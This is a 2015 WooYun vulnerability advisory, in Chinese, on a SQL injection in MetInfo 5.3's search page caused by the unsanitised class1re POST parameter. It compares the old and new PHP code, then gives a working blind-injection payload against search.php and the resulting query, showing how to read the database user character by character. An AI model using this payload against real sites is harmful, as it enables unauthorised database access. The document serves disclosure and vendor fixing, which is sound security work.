当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0119160

漏洞标题:MetInfo5.3 最新版本SQL注射(可获取部分数据)

相关厂商:MetInfo

漏洞作者: 魔鬼的步伐

提交时间:2015-06-09 11:28

修复时间:2015-09-08 12:04

公开时间:2015-09-08 12:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-09: 细节已通知厂商并且等待厂商处理中
2015-06-10: 厂商已经确认,细节仅向厂商公开
2015-06-13: 细节向第三方安全合作伙伴开放
2015-08-04: 细节向核心白帽子及相关领域专家公开
2015-08-14: 细节向普通白帽子公开
2015-08-24: 细节向实习白帽子公开
2015-09-08: 细节向公众公开

简要描述:

MetInfo5.3 最新版本SQL注射(可获取部分数据)

详细说明:

参考: WooYun: MetInfo5.3 最新版本SQL注射(可获取部分数据)
经过代码对比:
old:

$module=intval($module);
if($class1)$module=0;
if(intval($module)){
$serch_sql.=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' ";
}else{
$class1_info=$class_list[$class1];
if(!$class1_info)okinfo('../',$pagelang[noid]);
$class1sql=" class1='$class1' ";
$class2sql=" class2='$class2' ";
$class3sql=" class3='$class3' ";

if($class1&&!$class2&&!$class3){
foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){
if($val['releclass']==$class1){
$class1re.=" or class1='$val[id]' ";
}
}
if($class1re){
$class1sql='('.$class1sql.$class1re.')';
}
}


new:

else{
$module=intval($module);
if($class1)$module=0;
if(intval($module)){
$serch_sql.=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' ";
}else{
$class1_info=$class_list[$class1];
if(!$class1_info)okinfo('../',$pagelang[noid]);
$class1sql=" class1='$class1' ";
$class2sql=" class2='$class2' ";
$class3sql=" class3='$class3' ";
if($_GET['class1re']){
$class1re = '';
}

if($class1&&!$class2&&!$class3){
foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){
if($val['releclass']==$class1){
$class1re.=" or class1='$val[id]' ";
}
}
if($class1re){
$class1sql='('.$class1sql.$class1re.')';
}
}
if($class_list[$class2]['releclass']){
$class1sql=" class1='$class2' ";
$class2sql=" class2='$class3' ";
$class3sql="";
}
$serch_sql=" where lang='$lang' and (recycle='0' or recycle='-1') and displaytype='1' and $class1sql ";
if($class2&&$class2sql)$serch_sql .= " and $class2sql ";
if($class3&&$class3sql)$serch_sql .= " and $class3sql ";
$order_sql=" order by top_ok desc,com_ok desc,no_order desc,updatetime desc,id desc";
}


不同的地方在于:
if($_GET['class1re']){
$class1re = '';
}
这个变量初始化。出现了问题,由于metinfo采用的是全局伪变量,post也是可以解析的
所以我们发送url:
http://localhost/MetInfo5.3/search/search.php?class1=2&class2=&class3=&searchtype=1&searchword=1&lang=cn
postdate:
class1re=xxxxxx
抓取后台sql:
SELECT * FROM met_news where lang='cn' and (recycle='0' or recycle='-1') and displaytype='1' and ( class1='2' xxxxxx) and title like '%1%' order by top_ok desc,com_ok desc,no_order desc,updatetime desc,id desc LIMIT 0, 10
进行构造:
http://localhost/MetInfo5.3/search/search.php?class1=2&class2=&class3=&searchtype=1&searchword=1&lang=cn
postdata:
class1re=) and if(ascii(substr(user(),1,1))=$NUM,1,0)-- sd
我们测试一下
当$NUM=114时候页面为:

1.png


当$NUM=115时候页面为:

2.png


这样说明这个字母为r
后续的就不用证明了

漏洞证明:

修复方案:

版权声明:转载请注明来源 魔鬼的步伐@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-10 12:03

厂商回复:

是BUG,后续版本中修复。

最新状态:

暂无